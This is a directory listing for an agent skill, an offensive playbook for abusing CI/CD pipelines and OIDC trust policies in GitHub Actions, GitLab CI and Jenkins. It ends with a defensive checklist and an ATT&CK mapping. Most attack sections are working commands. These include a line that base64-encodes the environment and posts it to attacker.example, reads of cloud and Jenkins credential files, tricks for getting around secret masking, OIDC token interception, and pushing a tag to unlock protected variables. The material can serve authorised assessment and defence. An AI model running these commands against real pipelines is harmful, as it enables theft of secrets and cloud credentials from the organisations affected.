SuperAPI AI Directory

abusing-ci-cd-oidc

Deployment & operations

View repository

Updated 10-16 02:30

About this skill

Abusing CI/CD Pipelines and OIDC Federation

CI/CD pipelines are high-privilege execution environments, often with direct cloud IAM access, deploy credentials, and signing keys. OIDC federation turns a repository write into cloud credential issuance when the trust policy is too broad. A single misconfigured workflow or a wildcard subject claim can bridge the gap from "can open a pull request" to "has production cloud access."

When to Use

  • Assessing GitHub Actions, GitLab CI, or Jenkins for exploitable misconfigurations
  • Testing OIDC federation trust policies between CI providers and cloud platforms
  • Extracting secrets, tokens, or credentials from pipeline execution environments
  • Evaluating self-hosted runner isolation and shared runner risk
  • Attempting lateral movement from CI/CD into cloud accounts via OIDC
  • Reviewing build artifact integrity and cache poisoning attack surface

When NOT to Use

  • Dependency and package supply chain attacks -- use auditing-supply-chain
  • Cloud IAM exploitation not originating from CI/CD -- use exploiting-cloud-platforms
  • Static code review of pipeline definitions as pure source -- use auditing-code-for-vulnerabilities

GitHub Actions

Poisoned Workflows

pull_request_target runs in the base repo context with secrets and a write-scoped GITHUB_TOKEN, but can be triggered by a fork PR.

# Find pull_request_target triggers that check out PR head code
rg -n 'pull_request_target' -A20 .github/workflows/ | rg 'checkout|ref.*head'

# Script injection: untrusted PR/issue data interpolated into run blocks
rg -n '\$\{\{\s*github\.event\.(issue|pull_request|comment|review)' .github/workflows/

Attack pattern: fork the repo, modify the checked-out code path (build script, Makefile, test harness), open a PR. The workflow executes your code with the base repo's secrets. Exfiltrate via DNS, HTTP callback, or artifact.

Secret Exfiltration and Token Scope

# Secrets are in the environment -- exfiltrate out-of-band
env | base64 | curl -d @- https://attacker.example/exfil

# GITHUB_TOKEN scope check
curl -s -H "Authorization: token $GITHUB_TOKEN" \
  https://api.github.com/repos/OWNER/REPO -I | grep 'x-oauth-scopes'

# Check if permissions are restricted in the workflow
rg -n 'permissions:' .github/workflows/
rg -n 'permissions:\s*write-all' .github/workflows/

Unrestricted GITHUB_TOKEN defaults to read+write on contents, packages, and more. With a write-scoped token: push to branches, create releases, modify packages, approve deployments.

Self-Hosted Runner Compromise

Self-hosted runners on public repos are a critical finding. They persist between jobs, so a malicious workflow leaves implants for subsequent jobs.

rg -n 'runs-on:.*self-hosted' .github/workflows/

# On a compromised runner: harvest credentials from prior jobs
find / -name '.credentials' -o -name '.env' -o -name '*.pem' 2>/dev/null
cat /home/runner/.aws/credentials

Artifact Poisoning

# If a PR workflow uploads build artifacts consumed by a deploy workflow,
# the PR author controls what gets deployed
rg -n 'upload-artifact|download-artifact' .github/workflows/

GitLab CI

Runner Tokens and Shared Runners

# Exposed runner registration tokens allow registering rogue runners
rg -rn 'RUNNER_TOKEN\|REGISTRATION_TOKEN\|CI_JOB_TOKEN' .gitlab-ci.yml

# CI_JOB_TOKEN can access other projects if inter-project deps are configured
curl --header "JOB-TOKEN: $CI_JOB_TOKEN" \
  "https://gitlab.example/api/v4/projects/OTHER_ID/repository/files/secret.txt/raw?ref=main"

# Shared runners: Docker socket mount leaks between jobs
rg -n 'docker:dind\|/var/run/docker.sock' .gitlab-ci.yml

CI Variables Extraction

# Masked variables are hidden from logs but present in env
printenv > /tmp/all_vars.txt && cat /tmp/all_vars.txt

# Protected variables: only on protected branches/tags
# Push a tag matching the protection pattern to access them
git tag release-exploit && git push origin release-exploit

OIDC Federation Abuse

OIDC federation lets CI jobs assume cloud roles without stored credentials. The security boundary is the trust policy's subject claim filter.

Overly Broad Subject Claims

# AWS: inspect IAM role trust policy conditions
aws iam get-role --role-name ci-deploy-role \
  --query 'Role.AssumeRolePolicyDocument' --output json

# Dangerous patterns in the Condition block:
# "sub": "repo:org/*"                     -- any repo in the org
# "sub": "repo:org/repo:*"                -- any branch, any environment
# "sub": "repo:org/repo:ref:refs/heads/*" -- any branch
# No Condition at all                      -- any token from the IdP

Vulnerable AWS trust policy:

{
  "Effect": "Allow",
  "Principal": {"Federated": "arn:aws:iam::ACCOUNT:oidc-provider/token.actions.githubusercontent.com"},
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": {
    "StringLike": {
      "token.actions.githubusercontent.com:sub": "repo:org-name/*"
    }
  }
}

Any repo in the org can assume this role. Abandoned repos, docs repos, and repos with loose contributor policies become pivots to production cloud access.

GCP and Azure

# GCP: check attribute conditions on workload identity provider
gcloud iam workload-identity-pools providers describe PROVIDER \
  --location=global --workload-identity-pool=POOL
# Vulnerable: no attribute condition, or condition matching only the org

# Azure: list federated identity credentials
az ad app federated-credential list --id APP_OBJECT_ID
# Same wildcard risks: "repo:org/*" or "repo:org/repo:ref:refs/heads/*"
# Safe: "repo:org/repo:environment:production"

Environment Protection Bypass

Environment protection rules gate OIDC token issuance only if the trust policy conditions include :environment:. A policy matching repo:org/repo:* ignores environments, so required reviewers provide no protection.

rg -n 'environment:' .github/workflows/
# Compare to the trust policy Condition -- if it lacks :environment:, bypass

Jenkins

Groovy Console and Credentials

# Script console (/script) runs arbitrary Groovy as SYSTEM
# Check for unauthenticated access
curl -s -o /dev/null -w "%{http_code}" http://jenkins.target/script

# Credential files on disk
cat /var/lib/jenkins/credentials.xml
cat /var/lib/jenkins/secrets/master.key
cat /var/lib/jenkins/secrets/hudson.util.Secret

Pipeline Library Injection

# Shared libraries via @Library execute in the pipeline sandbox
# If the library repo is writable, inject code into vars/ or src/
rg -n '@Library\|library\(' Jenkinsfile

# "Load implicitly" enabled = every pipeline runs the library's code

Secrets in CI

Extracting Masked Variables

# Masking hides secrets from logs but not from the process environment
echo "$SECRET_VAR" | base64                    # bypass log masking
echo "$SECRET_VAR" | sed 's/./&\n/g'           # char-by-char bypass
echo "$SECRET_VAR" > secret_dump.txt           # write to artifact

OIDC Token Interception

# GitHub Actions: request the OIDC token
curl -s -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
  "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com"

# JWT is reusable until expiry (typically 5-15 minutes)
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .

Long-Lived Tokens as CI Secrets

# Credentials that should have been replaced by OIDC
env | grep -i 'AWS\|AKIA'                     # AWS access keys
env | grep -i 'AZURE\|ARM_CLIENT'             # Azure SP credentials
find / -name '*service*account*.json' 2>/dev/null  # GCP SA keys

Build Artifact Poisoning

Cache Poisoning

# CI caches shared across branches -- a PR can poison the main-branch cache
rg -n 'actions/cache' -A5 .github/workflows/
# Check whether cache keys include dependency lock file hashes

rg -n 'cache:' -A10 .gitlab-ci.yml
# key: $CI_COMMIT_REF_SLUG is branch-scoped but forks may share

Dependency Confusion via Internal Registries

# If CI resolves from both internal and public registries,
# a higher-version public package wins resolution
rg -rn 'registry\|index-url\|repository' .npmrc .yarnrc pip.conf pyproject.toml
# Non-scoped internal packages (@org/pkg format) are vulnerable

Defensive Review Checklist

OIDC subject claim strictness:

  • Trust policies pin to specific repository (not org-wide wildcard)
  • Trust policies require specific branch or environment in the subject
  • Environment protection rules are configured for production deployments

Workflow approval gates:

  • pull_request_target workflows do not check out PR head code
  • Fork PRs require approval before workflows run
  • Required reviewers are set on deployment environments
  • Branch protection prevents direct pushes to release branches

Runner isolation:

  • Self-hosted runners are not used on public repositories
  • Runners are ephemeral (destroyed after each job)
  • Docker socket is not mounted into CI jobs

Secrets hygiene:

  • No long-lived cloud credentials stored as CI secrets (use OIDC)
  • GITHUB_TOKEN permissions are explicitly restricted per-job
  • Secrets are not available to fork-triggered workflows

Build integrity:

  • Third-party actions/images are pinned by SHA, not mutable tag
  • Cache keys include dependency lock file hashes
  • Build artifacts are signed and verified before deployment
  • Internal packages use scoped registries with no public fallback

Rationalizations to Reject

  • "The OIDC trust policy is org-scoped, and we trust all our repos." Any repo in the org becomes a pivot to cloud access. Abandoned repos, forks, and repos with loose contributor policies are all in scope.

  • "Secrets are masked in the logs." Masking is a log-display feature, not a security boundary. Secrets are plaintext in the process environment.

  • "The workflow only runs on PRs from maintainers." Unless fork PR approval is enforced at the repo or org level, external contributors can trigger pull_request_target workflows.

  • "Our runners are internal, so they are safe." Internal runners that persist between jobs accumulate credentials from every job they execute. Ephemeral runners are the control.

  • "We use environment protection rules." Protection rules only gate OIDC token issuance if the trust policy conditions include the environment claim. A policy matching repo:org/repo:* ignores environments entirely.

  • "It is just the CI token, it expires quickly." A 15-minute OIDC token is enough to exfiltrate data, modify infrastructure, or establish persistence in the cloud account. Short-lived is not harmless.

  • "The pipeline code is reviewed before merge." Review of the pipeline definition does not protect against pull_request_target, which runs the attacker's code before any merge.

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Initial Access (TA0001)

  • T1199 Trusted Relationship — see also exploiting-cloud-platforms, attacking-entra-id

Credential Access (TA0006)

  • T1552 Unsecured Credentials — see also escalating-linux-privileges, exploiting-cloud-platforms, auditing-supply-chain

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.

References

  • auditing-supply-chain -- dependency and package-level supply chain attacks
  • exploiting-cloud-platforms -- cloud IAM exploitation beyond CI/CD origins
  • auditing-code-for-vulnerabilities -- source-level review of pipeline code
  • engineering-detections -- building alerts for CI/CD abuse patterns